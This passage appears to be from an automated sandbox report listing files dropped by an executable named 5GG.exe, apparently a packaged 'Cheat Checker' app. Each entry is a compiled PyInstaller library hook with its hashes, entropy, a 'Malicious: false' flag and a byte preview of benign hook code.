SSDEEP:	6:y/qQ3e9zsPx+xl5XLAlkODHSC5EgTdArQfVOX9rFMox/tZI6q:CpeGPx+xl5XCHS6EgJ9OX9rGE26q
MD5:	5596B58009EAC2C2C67F27F962220DDE
SHA1:	3752242CFA89A072D861497CC03DC0A3E35ED077
SHA-256:	15C2CDC3313D5D11E15D3842B5FC6C27C6DB6588D6F05509DE2BA4819698EA98
SHA-512:	2AF5394B43D373C831DFB21B6D7806C96644E528B7BAA9C6A58A6F11BA67678424709AA7B09CCD388DE74F426AE39067C0F4D05D753930E60AC4650FAF2494DC
Malicious:	false
Preview:	o.........eP........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_dynamic_libsZ.freetypeN).Z.PyInstaller.utils.hooksr....Z.binaries..r....r.....z...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-freetype.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-fvcore.nn.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	5.129652082527048
Encrypted:	false
SSDEEP:	6:y/qQ1CqetGCoPYwjKjkDHSC5EgTdArQfVOX9rFMoKUdcDIh:CmqeUQiK+HS6EgJ9OX9rGEcDIh
MD5:	06D39CDCFAF87ED7A76F8A393730E68C
SHA1:	4FD78DA0C2719C11606F822FDD77BBCAABA92042
SHA-256:	7475A743B8FE3CDCA8618EB1D4E37F4C601987E4531900B050A0E76F44001CE2
SHA-512:	893BC91045D2CD630AE05E212A79DE0FF9BD433E3EEE70A8F25E70C6BD0E0F051A5317329B5244B12003FD16D4098BFE2010D78E64332CFFEEFEC0E0503E3E4E
Malicious:	false
Preview:	o.........e5........................@...s....d.Z.d.S.).z.pyz+pyN).Z.module_collection_mode..r....r.....{...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-fvcore.nn.py..<module>....s......

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-gadfly.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	243
Entropy (8bit):	5.103516870479579
Encrypted:	false
SSDEEP:	6:y/qQq/2lqev/0C/lIeU5GjrkDHSC5EgTdArQfVOX9rFMope:CU/2Uev/02loG2HS6EgJ9OX9rG+e
MD5:	16357B6F6AE30D919B8FBBDCFEE89449
SHA1:	48D98C8C557B011B55452EC6F4751386BD2DBADA
SHA-256:	236C684698BF34CD71F779D2CDF61E9F45012266DD066E2E943344092CF88A7D
SHA-512:	645C9ABE6AE4CE435A6C9DBDBCE2B43561AA04871D65DBA64B29274B3A5298718C2E7817CC4BE2ABDCAA0D8C243A449B1886EF2F556032991E7452FAA8ADD0E8
Malicious:	false
Preview:	o.........e.........................@...s....d.g.Z.d.S.).Z.sql_marN).Z.hiddenimports..r....r.....x...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-gadfly.py..<module>....s......

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-gcloud.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	5.189494093513204
Encrypted:	false
SSDEEP:	6:y/qQHe9zsPxa0CmJ5XLAlcJOkDHSC5EgTdArQfVOX9rFMomKo6r:CZeGPxxzJ5XxRHS6EgJ9OX9rGtKo6r
MD5:	BD03E5B8DA14B7E3F18A28D6B36C7A58
SHA1:	EA9D1CB78282CF7C25444DB23E57A3DC0C17C445
SHA-256:	C4FCECF567E9B2A88D10F349FFCECCF0F2B58E2280A3B22AEF39616A3655BA6F
SHA-512:	3DB6DD3343F418B6880EB6CFB374702B1042EC8455425128B7693CBF97BA3F29E024A77076C6646FF8D0E4D44481E6FE1A00A510AFF3C7BE2BA8754EA9363360
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...copy_metadataZ.gcloudN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.....x...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-gcloud.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-geopandas.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.247658199066314
Encrypted:	false
SSDEEP:	6:y/qQiK/Y5/Qlj9bNARpA/H0NyXLAlcJ/W6/jkDHSC5EgTdArQfVOX9rFMolUCZI8:CR/YhQlRbw20NyXxtW6/+HS6EgJ9OX9J
MD5:	60A5654EAF5DB673C2EF2C7F09A20590
SHA1:	3783A32905AB381F45EDF3B6C757E9B564DEC0C3
SHA-256:	7D5BB642EC447BE0F01EAB9056EAAC857161B0D2944155BDA41A192DEC9406B5
SHA-512:	24768301080CE931350FC73F74CFB6B971D82CA190CAB8600687BD0C38DA0D268F3C01269EE41798F153292A45647303B30C81CE7156B1B5FBAE0D07C991DF83
Malicious:	false
Preview:	o.........e ........................@...s....d.d.l.m.Z...e.d.d.d...Z.d.S.)......)...collect_data_filesZ.geopandasZ.datasets)...subdirN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.....{...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-geopandas.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-gitlab.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	307
Entropy (8bit):	5.233980240087545
Encrypted:	false
SSDEEP:	6:y/qQae9zsPxNARZk5XLAlcJOkDHSC5EgTdArQfVOX9rFMoOI6in:CQeGPxr5XxRHS6EgJ9OX9rGPI6E
MD5:	3D7BFA2D2AADCA452C7FCE3C2D4F6B02
SHA1:	B4553330DCFC021F70BD31B858D373B00F5EBC3C
SHA-256:	549D2DC7A1FFEC8D72700888375F8DB9502620CFB8543F6969E832C7259A6515
SHA-512:	85D6ED74BA67B082CA94706022EF45CE325BEC06D5504D6EB9AF2C1095F2665284B8A70E6744653E5C16F0CCCD1DC01BBA9E601C458B1EEABEB6A4B73C530616
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_data_filesZ.gitlabN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.....x...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-gitlab.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-gmplot.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	307
Entropy (8bit):	5.223773321240913
Encrypted:	false
SSDEEP:	6:y/qQ5e9zsPxNARu5XLAlcJOkDHSC5EgTdArQfVOX9rFMoBZ6r:CneGPx1XxRHS6EgJ9OX9rGE6r
MD5:	6032726B0366A4454FC69A32626D8B64
SHA1:	EE12994173F36DDF9DAE86CFC4A80E442AFB36FB
SHA-256:	10E0C24629A990A6AE627E002C56C4E15ACCE7680EB9D9C41C8CCA68BC4F5EB9
SHA-512:	DF77BCD053C9AF8D85C83FACF7B65C0041DF3CDA00A4509F2CA2D2E80D3313D7F9AF2548C8234CBF077CA78E0C1268F7859061BD1573DF160AA7E0D70D7D5376
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_data_filesZ.gmplotN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.....x...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-gmplot.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-gmsh.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	620
Entropy (8bit):	5.575832494692026
Encrypted:	false
SSDEEP:	12:CCmCtCto+CCt146qGU9lnXRCxOHJdHS6EgJ9OX9rGg4wkQz:Fcee46qGUHXUxOpdEI4pkY
MD5:	FC016A8080AB6CD0611425328945EAFD
SHA1:	634AEDD9579856FE187ACE134535B5F0BF5B0C6F
SHA-256:	E893088E5D7E5646528DADD7E324F56094302029DD8CB810EAB9D8D5EF79E898
SHA-512:	54D47A61F1C44E4CB2866786E876DE15F04987A61CFECAEA7C241099BEF6525C5EDBAB81009B50A1B9C27C4FDED5E4A9215901DABFC796F17D5DAC0A3A226E3B
Malicious:	false
Preview:	o.........e.........................@...sx...d.d.l.Z.d.d.l.m.Z.m.Z...z.e.d.d...Z.W.n...e.y%......e.j.d.d.d.....d.Z.Y.n.w.e.r5e.j...e...r5e.d.f.g.Z.d.S.e...d.....d.S.)......N)...logger..get_module_attributeZ.gmshZ.libpathz.Failed to query gmsh.libpath!T)...exc_info...zOCould not find gmsh shared library - gmsh will likely fail to load at run-time!)...osZ.PyInstaller.utils.hooksr....r....Z.lib_file..Exception..warning..path..isfileZ.binaries..r....r.....v...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-gmsh.py..<module>....s..........................

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-gooey.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	391
Entropy (8bit):	5.3640287745453605
Encrypted:	false
SSDEEP:	12:CraehOBSTOsEi0rDUQ1J8XxtWW2HS6EgJ9OX9rGcPB:6FYs2UfxB2EI4zB
MD5:	EDDEF8A903DC64419C45DB8D1E72EBB4
SHA1:	81444D451A715E83EAE46761DE6B7E15098B2C16
SHA-256:	E9069589941338B43528BC848D6D5597EAF73925BD5A9A6E99C8EAD74C9D2864
SHA-512:	48BF09C8A94535B92F540FC610DFA061FD5FDA1DCC7CDFF91D7E0CD3545559053B319B9B9243243637DFD4633199352A7FFC0951AC039D6F52DC0623F16455DF
Malicious:	false
Preview:	o.........eU........................@...s....d.Z.d.d.l.m.Z...e.d...Z.d.S.).zE.Gooey GUI carries some language and images for it's UI to function.......)...collect_data_filesZ.gooeyN)...__doc__Z.PyInstaller.utils.hooksr....Z.datas..r....r.....w...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-gooey.py..<module>....s..........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-google.api_core.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.21932621204921
Encrypted:	false
SSDEEP:	6:y/qQJ/Ce9zsPxa0C2mtBXLAlcJbjkDHSC5EgTdArQfVOX9rFMo9L8MEI6r:C3aeGPxxetBXxcHS6EgJ9OX9rGO8Mh6r
MD5:	74FC016D7DC1B2E29FB9938906F7DDBB
SHA1:	6BE23D43ABDCC9711BF711FD0C6904E4616E2DF3
SHA-256:	E9ABE73832E11A39601AB08F90DD4E02BB6A5A862CB1531660DE4E56C3673DFF
SHA-512:	AD06D96579AB40B7E6EBCEE53D969078529BAB2690CE547FCF65013BA6F7208C6AFF377284BA7A458D8AA71F1BBB35C6417D03A0AC13FF9E63DCA7FA6B00E8E9
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...copy_metadataz.google-api-coreN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-google.api_core.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-google.cloud.bigquery.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	5.305023075558394
Encrypted:	false
SSDEEP:	6:y/qQSa/Nbs0k7h2lhMla0C2V5J5Rs6UXLAlcJ/WG/jkDHSC5EgTdArQfVOX9rFMd:CJ/NQd7glhYx7Rs5XxtWG/+HS6EgJ9Og
MD5:	4660A249AA5A2248F6A788066CBAA6A7
SHA1:	E8159D30F830197E5517F2DCE47F8CF8645186B5
SHA-256:	A1EE7833C060327BD7EF5EEA8B869D3107B38A4BDA5DA4F4EB15DB1EB46F6BA3
SHA-512:	756A2B2BFE687ABBCB15F9D9748F864020C22F65184288B97AC2C9A3CA9D8AFE50A8CA8BDF60CE9BDCE5004F7E0CA2998F6F4BB797F6631A35B012B69DF12C7D
Malicious:	false
Preview:	o.........ep........................@...s ...d.d.l.m.Z...e.d...e.d.....Z.d.S.)......)...copy_metadataz.google-cloud-bigquery..requestsN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-google.cloud.bigquery.py..<module>....s............

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-google.cloud.core.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.2102640975265055
Encrypted:	false
SSDEEP:	6:y/qQLae9zsPxa0C2YJoxBXLAlcJFMDHSC5EgTdArQfVOX9rFMo9LqZKaI6r:CEeGPxxfBXxPSHS6EgJ9OX9rGOTD6r
MD5:	B06F8030647460608B3F17DE04CE97DB
SHA1:	21447D06DD3B155D444C4F52DE07B6DE27829E4C
SHA-256:	111FA03BBE279A23D8D47AFCFA371640A67146AF656D8F67DF77F7D4DD1A9F11
SHA-512:	D1C9D237180CC6853FF8D1F3013CB41B8B85D6E44B94C90EDB3899A5E458B8990EE60A9E758EFBC3D31F98F7B5E58357764C789FDF395F34901600CF433AA859
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...copy_metadataz.google-cloud-coreN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-google.cloud.core.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-google.cloud.kms_v1.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.2490425104290175
Encrypted:	false
SSDEEP:	6:y/qQMe9zsPxa0C26CO3EPUXLAlcJ9eDHSC5EgTdArQfVOX9rFMo9LqjSLA263:CeeGPxxYiUXxfoHS6EgJ9OX9rGOMz263
MD5:	46B2AE3F5483DB74C682F9FC5A1B50DC
SHA1:	1633985FB792D4856A6247FA23C313A27A50B5D5
SHA-256:	F564D013496DDB4D54A46792FACED4083120348C5B246E2A18C8EE9EF54AEDDD
SHA-512:	C11CCCCC66C2724966C598C69EF86DA2EF57957D9E137FA2D90CA2AF5EC31A2A01F6DCC306B46A75A379EAFB7265B6217550956D151115EEB8901F52143B3AE6
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...copy_metadataz.google-cloud-kmsN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-google.cloud.kms_v1.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-google.cloud.pubsub_v1.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.2535382236149175
Encrypted:	false
SSDEEP:	6:y/qQNae9zsPxa0C2qOgSL5XLAlcJ4eDHSC5EgTdArQfVOX9rFMo9LqDFl26r:CzaeGPxx5dXxhHS6EgJ9OX9rGOyl26r
MD5:	9B60ED0159429EBD55F3F74F6866B191
SHA1:	F3E643B16B8016EBABA66408207B16BBDB224A2B
SHA-256:	2BDAC0D00A9E92B3684DCD0490311838B6180084729037E08EFFE5B5E70A4E94
SHA-512:	BB13FDA33651C4E0C9CE0D0872419B63A2146FC06188D8BE878BCBAAE2610A08B8E89CDBB005E8907721238B6A6450C7355757F7BFB8F5959EB7B88BD892A701
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...copy_metadataz.google-cloud-pubsubN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-google.cloud.pubsub_v1.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-google.cloud.speech.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.207042054260082
Encrypted:	false
SSDEEP:	6:y/qQNae9zsPxa0C2qOv85XLAlcJ9eDHSC5EgTdArQfVOX9rFMo9Lqxd6r:CzaeGPxxQ5XxfoHS6EgJ9OX9rGOi6r
MD5:	6286C6503711B4706D66AA1E17A2AB9B
SHA1:	ED5B588ECDA61F75244C0E97FFECE8E4908BDF2B
SHA-256:	F4AEB25FB6EA3AB08C5FBEC180D84652DD9053A092D9FE41229BD03C387F599D
SHA-512:	BA1E03AD95254CA3DC8F5279FD0E3978B2B42B3E20B99852F80EC494AC0AC5106DC199D4700918659D8ABB3419718B42B82BEE16F5E0C480DC42689391AF8501
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...copy_metadataz.google-cloud-speechN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-google.cloud.speech.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-google.cloud.storage.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.209087873308795
Encrypted:	false
SSDEEP:	6:y/qQJe9zsPxa0C2UFXLAlcJVDHSC5EgTdArQfVOX9rFMo9LqdlZI6r:CXeGPxxMXxDHS6EgJ9OX9rGOB6r
MD5:	9A7798FF1F12C1760AB0C951E2811C6D
SHA1:	7F2C55FD52F4EEE5DEDCF3DCB6049133BA25C4EE
SHA-256:	887742B93AE084685E85057ABEF49F36C8331758333FE6BF80641D3403322945
SHA-512:	420BB2643D37B3E87DD6AC77C2C2435054F9FFD8DE58D6A970DC5162FFC53638CB5D9AD0543A5D2B4198CA93CEABD07817500BE4A9F07560D4CDEC1AC49BDCD4
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...copy_metadataz.google-cloud-storageN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-google.cloud.storage.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-google.cloud.translate.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.207305779217964
Encrypted:	false
SSDEEP:	6:y/qQf/e9zsPxa0C20FAXLAlcJ4eDHSC5EgTdArQfVOX9rFMo9LqNiFu8I6r:CB/eGPxxM2XxhHS6EgJ9OX9rGOeigZ6r
MD5:	2E2D7BDFB88A12CDC2D9D27C8CB3C074
SHA1:	23D3B5F62FC8FE7F318B28220CC7FD94ABB13C71
SHA-256:	BCB578CDF36255264E998E7E92D7CCD060C514004335F7B29217C3FE1016CC9F
SHA-512:	25B1C56470CC1AEEBB93BFCB50E949F25BCE8DB8006DD624F7278ACAAA0BE4E9DEAA37F23BAEDE160482877D8F12002AD50F5ABD51624171F299CE073CE45965
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...copy_metadataz.google-cloud-translateN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-google.cloud.translate.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-googleapiclient.model.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	466
Entropy (8bit):	5.352788987345106
Encrypted:	false
SSDEEP:	12:CqlQxkNbxT9k6xe/X9I+HS6EgJ9OX9rGwT8IT:jr97kiefO+EI4yC
MD5:	229A797CB79E3382550220507ECD011F
SHA1:	E8744926C57390F1F3A2936DAC2F4EC75B9E187E
SHA-256:	F2C3AF3F47F8E7C3A587B62D2F245D5D384E0FB3CBD469123300D2845A798AEB
SHA-512:	C08F975A235855E062603EAEADCE453D7F05D43EB7C2D11B21E98B52EC2CE4F34E873F915F707B949142DBDEA7A931A49C5794F77CF16F3C325E28607E8BB245
Malicious:	false
Preview:	o.........e\........................@...s8...d.d.l.m.Z...d.d.l.m.Z...e.d...Z.e.e.d.d.d.g.d...7.Z.d.S.)......)...copy_metadata)...collect_data_filesZ.google_api_python_clientz.googleapiclient.discovery_cachez..txtz.*/__pycache__)...excludesN).Z.PyInstaller.utils.hooksr....r....Z.datas..r....r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-googleapiclient.model.py..<module>....s............

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-graphql_query.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	407
Entropy (8bit):	5.412590230016671
Encrypted:	false
SSDEEP:	12:Ct/ehOBSTOyFXFNuMosP28sMQ8I1J8XxtWulBSHS6EgJ9OX9rGIkC2I:JYyteGJsMV3xp2EI4WE
MD5:	17D40C084C69A98ED242BF9109D96FB1
SHA1:	133C6062EF067EE3AC4FAF823C819C18BB7CCA6F
SHA-256:	1E4A1B73AFC81345A790A84559D60743719F3BDFED03F2C7DA3E684F15FE1359
SHA-512:	0E777B1E9EA2F5B0574BD39604B44495BDE7AEE6B77B9616C8417E9D22866905B0698F368F35B25544207288DE5D313EB9ABE16B0E4FFB6232F5A44F452E929E
Malicious:	false
Preview:	o.........e.........................@...s....d.Z.d.d.l.m.Z...e.d...Z.d.S.).zE.PyInstaller hook file for graphql_query. Tested with version 1.0.3.......)...collect_data_filesZ.graphql_queryN)...__doc__Z.PyInstaller.utils.hooksr....Z.datas..r....r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-graphql_query.py..<module>....s..........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-great_expectations.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.208398835383908
Encrypted:	false
SSDEEP:	6:y/qQ5/e9zsPxNARcR6SXLAlcJykDHSC5EgTdArQfVOX9rFMoO/rI6r:C/eGPx3cSXxdHS6EgJ9OX9rGR/c6r
MD5:	6FA2435E2B1456A74E820CCD1E819F4B
SHA1:	7B3A6ABAF5D86521E0CB9D50FFAD118778CB3CE6
SHA-256:	8283B242F5B9B30F902B05B8A3786222F18240D5F062082BD49D5647A9E7DB04
SHA-512:	5593B8863200154D3B1436AE9BC1B67386841DF631625748C5B18A3C5BB9BB5D5374F5E1CE5CA1CD8C09497D18CFA55377D3514DC3FDFCD8D31BE024915B1802
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_data_filesZ.great_expectationsN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-great_expectations.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-grpc.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.205357414189708
Encrypted:	false
SSDEEP:	6:y/qQfe9zsPxNARbBXLAlcJ2eDHSC5EgTdArQfVOX9rFMoY6r:CBeGPxoBXxzHS6EgJ9OX9rGL6r
MD5:	C3E1FEB7BF8A02E8465D65E381FAAAE5
SHA1:	4B4AFEA58E2FBBD0EC3C3C447A6886AACED012C5
SHA-256:	7ED2EA1146D9986AD6C597A7E5CB54D57E7C010817AF0123CC6986EF79F9EC76
SHA-512:	DBBBB9EE5A66EC9EC895FB41CB57BBEFB0C392F8783B01C4BBE63DE4DF2F1D14B958B91237E4DC67E9EC24BB4F486D162BF57F1806A70B97EBEA4B2D81AA1C72
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_data_filesZ.grpcN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.....v...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-grpc.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-gst._gst.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	872
Entropy (8bit):	5.508323300404215
Encrypted:	false
SSDEEP:	12:CpT/QTSmBdizX6Ibv0tRvVgvXnQZc5CFFErNkSv97SaNw1K4HS6EgJ9OX9rGlt2R:7g5vwvePCcm+moJNwFEI4xPtlnUevEc
MD5:	BAC2562DC898054782EEE2C411D4B70A
SHA1:	BC77DBA1DF17BA185F35627928EA9391C171D494
SHA-256:	24BF377737AF2E3F42857586B62D335A0F71EA2B27F844324372FC564B2580D4
SHA-512:	FF5C04097D51F5073F29BD73AF6241A17255DFC63D60BE34790D12B82828742B315A7DA37971C86E4002D952B1B6B38EFF2CCACB02477EED1C199B29326F8C57
Malicious:	false
Preview:	o.........e4........................@...sv...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.g.Z.d.Z.e.e...Z.e.r(e.j...e.d...Z.n.e.j...e.d...Z.d.d...e...e...D...Z.d.S.)......N)...is_win)...exec_statementZ.gmoduleZ.gobjectz..import os.import gst.reg = gst.registry_get_default().plug = reg.find_plugin('coreelements').path = plug.get_filename().print(os.path.dirname(path)).z..dllz..soc....................C...s&...g.\|.].}.t.j...d.t.j...\|.....\|.f...q.S.).Z.gst_plugins)...os..path..join..basename)....0..f..r.....z...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-gst._gst.py..<listcomp>*...s............r....)...globr....Z.PyInstaller.compatr....Z.PyInstaller.utils.hooksr....Z.hiddenimportsZ.statementZ.plugin_pathr....r......patternZ.binariesr....r....r....r......<module>....s..............................

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-gtk.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	381
Entropy (8bit):	5.223886904556033
Encrypted:	false
SSDEEP:	6:y/qQTCepQylxYmZKATNYEFUKd9pK/pVhKykQE2Le4PBrB5GjwjkDHSC5EgTdArQ6:CtCe62xYAKATNY2td9oDcykQhLVPBrB3
